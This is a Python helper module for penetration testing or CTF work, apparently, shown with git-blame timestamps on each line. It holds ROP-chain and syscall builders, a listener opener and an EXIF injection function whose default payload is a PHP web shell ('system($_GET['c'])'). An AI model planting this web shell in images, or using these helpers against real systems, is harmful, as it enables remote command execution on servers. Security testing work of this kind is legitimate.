2020-09-22 20:55:06 +02:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
2020-06-02 14:15:03 +02:00
|
|
|
import random
|
|
|
|
import socket
|
|
|
|
import netifaces as ni
|
2020-06-08 14:28:22 +02:00
|
|
|
import sys
|
2020-09-16 17:16:55 +02:00
|
|
|
import exif
|
2020-09-22 20:55:06 +02:00
|
|
|
import os
|
2021-04-30 22:50:58 +02:00
|
|
|
import io
|
|
|
|
from PIL import Image
|
2020-06-02 14:15:03 +02:00
|
|
|
|
2022-01-14 16:40:17 +01:00
|
|
|
def isPortInUse(port):
|
|
|
|
import socket
|
|
|
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
|
|
|
return s.connect_ex(('127.0.0.1', port)) == 0
|
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
def get_address(interface="tun0"):
|
2020-06-02 14:15:03 +02:00
|
|
|
if not interface in ni.interfaces():
|
|
|
|
interfaces = ni.interfaces()
|
|
|
|
interfaces.remove('lo')
|
|
|
|
interface = interfaces[0]
|
|
|
|
|
|
|
|
addresses = ni.ifaddresses(interface)
|
2021-05-23 00:16:16 +02:00
|
|
|
addresses = [addresses[ni.AF_INET][i]["addr"] for i in range(len(addresses[ni.AF_INET]))]
|
|
|
|
addresses = [addr for addr in addresses if not str(addr).startswith("127")]
|
|
|
|
return addresses[0]
|
2020-06-02 14:15:03 +02:00
|
|
|
|
|
|
|
def openServer(address, ports=None):
|
|
|
|
listenPort = None
|
|
|
|
retry = True
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
|
|
|
|
|
|
while retry:
|
|
|
|
|
|
|
|
if isinstance(ports, int):
|
|
|
|
listenPort = ports
|
|
|
|
retry = False
|
|
|
|
elif isinstance(ports, range):
|
|
|
|
listenPort = random.randint(ports[0],ports[-1])
|
|
|
|
elif ports is None:
|
|
|
|
listenPort = random.randint(10000,65535)
|
|
|
|
|
|
|
|
try:
|
|
|
|
sock.bind((address, listenPort))
|
|
|
|
sock.listen(1)
|
|
|
|
return sock
|
|
|
|
except Exception as e:
|
|
|
|
if not retry:
|
|
|
|
print("Unable to listen on port %d: %s" % (listenPort, str(e)))
|
|
|
|
raise e
|
2020-06-08 14:28:22 +02:00
|
|
|
|
2020-07-12 20:36:14 +02:00
|
|
|
class Stack:
|
|
|
|
def __init__(self, startAddress):
|
|
|
|
self.buffer = b""
|
|
|
|
self.address = startAddress
|
|
|
|
|
|
|
|
def pushString(self, data):
|
|
|
|
addr = self.address
|
|
|
|
data = pad(data.encode() + b"\x00", 8)
|
|
|
|
self.buffer += data
|
|
|
|
self.address += len(data)
|
|
|
|
return addr
|
|
|
|
|
|
|
|
def pushAddr(self, addr):
|
|
|
|
ptr = self.address
|
|
|
|
data = p64(addr)
|
|
|
|
self.buffer += data
|
|
|
|
self.address += len(data)
|
|
|
|
return ptr
|
|
|
|
|
|
|
|
def pushArray(self, arr):
|
|
|
|
addresses = []
|
|
|
|
for arg in arr:
|
|
|
|
arg_addr = self.pushString(arg)
|
|
|
|
addresses.append(arg_addr)
|
|
|
|
addresses.append(0x0)
|
|
|
|
|
|
|
|
addr = self.address
|
|
|
|
for arg_addr in addresses:
|
|
|
|
self.pushAddr(arg_addr)
|
|
|
|
|
|
|
|
return addr
|
|
|
|
|
2020-08-06 18:38:40 +02:00
|
|
|
def setRegisters(elf, registers):
|
2020-09-16 17:16:55 +02:00
|
|
|
from pwn import ROP
|
2020-07-12 20:36:14 +02:00
|
|
|
rop = ROP(elf)
|
|
|
|
for t in rop.setRegisters(registers):
|
|
|
|
value = t[0]
|
|
|
|
gadget = t[1]
|
|
|
|
if type(gadget) == pwnlib.rop.gadgets.Gadget:
|
|
|
|
rop.raw(gadget.address)
|
|
|
|
for reg in gadget.regs:
|
|
|
|
if reg in registers:
|
|
|
|
rop.raw(registers[reg])
|
|
|
|
else:
|
|
|
|
rop.raw(0)
|
2020-08-06 18:38:40 +02:00
|
|
|
return rop
|
2020-07-12 20:36:14 +02:00
|
|
|
|
2020-08-06 18:38:40 +02:00
|
|
|
def genSyscall(elf, syscall, registers):
|
|
|
|
registers["rax"] = syscall
|
|
|
|
rop = setRegisters(elf, registers)
|
2020-07-12 20:36:14 +02:00
|
|
|
syscall_gadget = "syscall" if elf.arch == "amd64" else "int 0x80"
|
|
|
|
rop.raw(rop.find_gadget([syscall_gadget]).address)
|
|
|
|
return rop
|
|
|
|
|
|
|
|
def pad(x, n):
|
|
|
|
if len(x) % n != 0:
|
|
|
|
x += (n-(len(x)%n))*b"\x00"
|
|
|
|
return x
|
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
|
2020-09-16 17:16:55 +02:00
|
|
|
|
2021-04-30 22:50:58 +02:00
|
|
|
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
|
|
|
|
_in = Image.new("RGB", (50,50), (255,255,255))
|
2020-09-16 17:16:55 +02:00
|
|
|
|
|
|
|
if isinstance(_in, str):
|
|
|
|
_in = exif.Image(open(_in, "rb"))
|
2021-04-30 22:50:58 +02:00
|
|
|
elif isinstance(_in, Image.Image):
|
2020-09-16 17:16:55 +02:00
|
|
|
bytes = io.BytesIO()
|
2022-01-23 22:09:12 +01:00
|
|
|
_in.save(bytes, format='JPEG')
|
2021-04-30 22:50:58 +02:00
|
|
|
_in = exif.Image(bytes.getvalue())
|
2020-09-16 17:16:55 +02:00
|
|
|
elif not isinstance(_in, exif.Image):
|
|
|
|
print("Invalid input. Either give an Image or a path to an image.")
|
|
|
|
return
|
|
|
|
|
2020-11-07 12:54:18 +01:00
|
|
|
valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
|
2020-09-16 17:16:55 +02:00
|
|
|
if exif_tag is None:
|
2021-04-30 22:50:58 +02:00
|
|
|
_in.image_description = payload
|
2020-11-07 12:54:18 +01:00
|
|
|
elif exif_tag == "all":
|
|
|
|
for exif_tag in valid_tags:
|
|
|
|
try:
|
|
|
|
_in[exif_tag] = payload
|
|
|
|
print("adding:", exif_tag)
|
|
|
|
except Exception as e:
|
|
|
|
pass
|
2020-09-16 17:16:55 +02:00
|
|
|
else:
|
|
|
|
if exif_tag not in valid_tags:
|
|
|
|
print("Invalid exif-tag. Choose one of the following:")
|
|
|
|
print(", ".join(valid_tags))
|
|
|
|
return
|
|
|
|
|
2020-11-07 12:54:18 +01:00
|
|
|
_in[exif_tag] = payload
|
|
|
|
|
2020-09-16 17:16:55 +02:00
|
|
|
if _out is None:
|
2022-01-23 22:09:12 +01:00
|
|
|
return _in.get_file()
|
2020-09-16 17:16:55 +02:00
|
|
|
elif isinstance(_out, str):
|
|
|
|
with open(_out, "wb") as f:
|
|
|
|
f.write(_in.get_file())
|
|
|
|
elif hasattr(_out, "write"):
|
|
|
|
_out.write(_in.get_file())
|
|
|
|
else:
|
|
|
|
print("Invalid output argument.")
|
|
|
|
|
2020-09-22 20:55:06 +02:00
|
|
|
|
2022-12-09 14:54:06 +01:00
|
|
|
def human_readable_size(value):
|
|
|
|
index = 0
|
|
|
|
suffixes = ["B", "KiB", "MiB", "GiB", "TiB"]
|
|
|
|
while value >= 1024:
|
|
|
|
if index >= len(suffixes) - 1:
|
|
|
|
break
|
|
|
|
value /= 1024.0
|
|
|
|
index += 1
|
|
|
|
|
|
|
|
return "%.2f %s" % (value, suffixes[index])
|
|
|
|
|
|
|
|
|
|
|
|
class CaseInsensitiveDict(dict):
|
|
|
|
|
|
|
|
"""Basic case-insensitive dict with strings only keys."""
|
|
|
|
|
|
|
|
proxy = {}
|
|
|
|
|
|
|
|
def __init__(self, data=None):
|
|
|
|
super().__init__()
|
|
|
|
if data:
|
|
|
|
self.proxy = dict((k.lower(), k) for k in data)
|
|
|
|
for k in data:
|
|
|
|
self[k] = data[k]
|
|
|
|
else:
|
|
|
|
self.proxy = dict()
|
|
|
|
|
|
|
|
def __contains__(self, k):
|
|
|
|
return k.lower() in self.proxy
|
|
|
|
|
|
|
|
def __delitem__(self, k):
|
|
|
|
key = self.proxy[k.lower()]
|
|
|
|
super(CaseInsensitiveDict, self).__delitem__(key)
|
|
|
|
del self.proxy[k.lower()]
|
|
|
|
|
|
|
|
def __getitem__(self, k):
|
|
|
|
key = self.proxy[k.lower()]
|
|
|
|
return super(CaseInsensitiveDict, self).__getitem__(key)
|
|
|
|
|
|
|
|
def get(self, k, default=None):
|
|
|
|
return self[k] if k in self else default
|
|
|
|
|
|
|
|
def __setitem__(self, k, v):
|
|
|
|
super(CaseInsensitiveDict, self).__setitem__(k, v)
|
|
|
|
self.proxy[k.lower()] = k
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def build(labels, data):
|
|
|
|
row = CaseInsensitiveDict()
|
|
|
|
for key, val in zip(labels, data):
|
|
|
|
row[key] = val
|
|
|
|
return row
|
|
|
|
|
|
|
|
|
2020-06-08 14:28:22 +02:00
|
|
|
if __name__ == "__main__":
|
2020-07-12 20:36:14 +02:00
|
|
|
bin = sys.argv[0]
|
2020-06-08 14:28:22 +02:00
|
|
|
if len(sys.argv) < 2:
|
2020-07-12 20:36:14 +02:00
|
|
|
print("Usage: %s [command]" % bin)
|
2020-06-08 14:28:22 +02:00
|
|
|
exit(1)
|
|
|
|
|
2020-07-12 20:36:14 +02:00
|
|
|
command = sys.argv[1]
|
|
|
|
if command == "getAddress":
|
2020-08-04 14:33:49 +02:00
|
|
|
if len(sys.argv) >= 3:
|
2022-01-23 22:09:12 +01:00
|
|
|
print(get_address(sys.argv[2]))
|
2020-06-08 14:28:22 +02:00
|
|
|
else:
|
2022-01-23 22:09:12 +01:00
|
|
|
print(get_address())
|
2020-07-12 20:36:14 +02:00
|
|
|
elif command == "pad":
|
|
|
|
if len(sys.argv) >= 3:
|
|
|
|
n = 8
|
|
|
|
if len(sys.argv) >= 4:
|
|
|
|
n = int(sys.argv[3])
|
|
|
|
print(pad(sys.argv[2].encode(), n))
|
|
|
|
else:
|
|
|
|
print("Usage: %s pad <str> [n=8]" % bin)
|
2020-09-16 17:16:55 +02:00
|
|
|
elif command == "exifImage":
|
|
|
|
if len(sys.argv) < 4:
|
|
|
|
print("Usage: %s exifImage <file> <payload> [tag]" % bin)
|
|
|
|
else:
|
|
|
|
_in = sys.argv[2]
|
|
|
|
payload = sys.argv[3]
|
|
|
|
if payload == "-":
|
|
|
|
payload = sys.stdin.readlines()
|
|
|
|
|
|
|
|
tag = None if len(sys.argv) < 5 else sys.argv[4]
|
|
|
|
_out = _in.split(".")
|
|
|
|
if len(_out) == 1:
|
|
|
|
_out = _in + "_exif"
|
|
|
|
else:
|
|
|
|
_out = ".".join(_out[0:-1]) + "_exif." + _out[-1]
|
|
|
|
|
2022-01-23 22:09:12 +01:00
|
|
|
output = set_exif_data(payload, _in, _out, tag)
|
|
|
|
sys.stdout.buffer.write(output)
|
|
|
|
sys.stdout.flush()
|
2022-02-16 14:18:54 +01:00
|
|
|
else:
|
2020-09-22 20:55:06 +02:00
|
|
|
print("Usage: %s [command]" % bin)
|
|
|
|
print("Available commands:")
|
2022-01-23 15:08:49 +01:00
|
|
|
print(" help, getAddress, pad, exifImage")
|